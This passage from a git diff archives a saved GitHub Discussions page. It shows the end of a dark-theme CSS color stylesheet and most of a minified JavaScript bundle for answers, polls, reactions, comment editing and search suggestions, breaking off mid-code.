#f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var 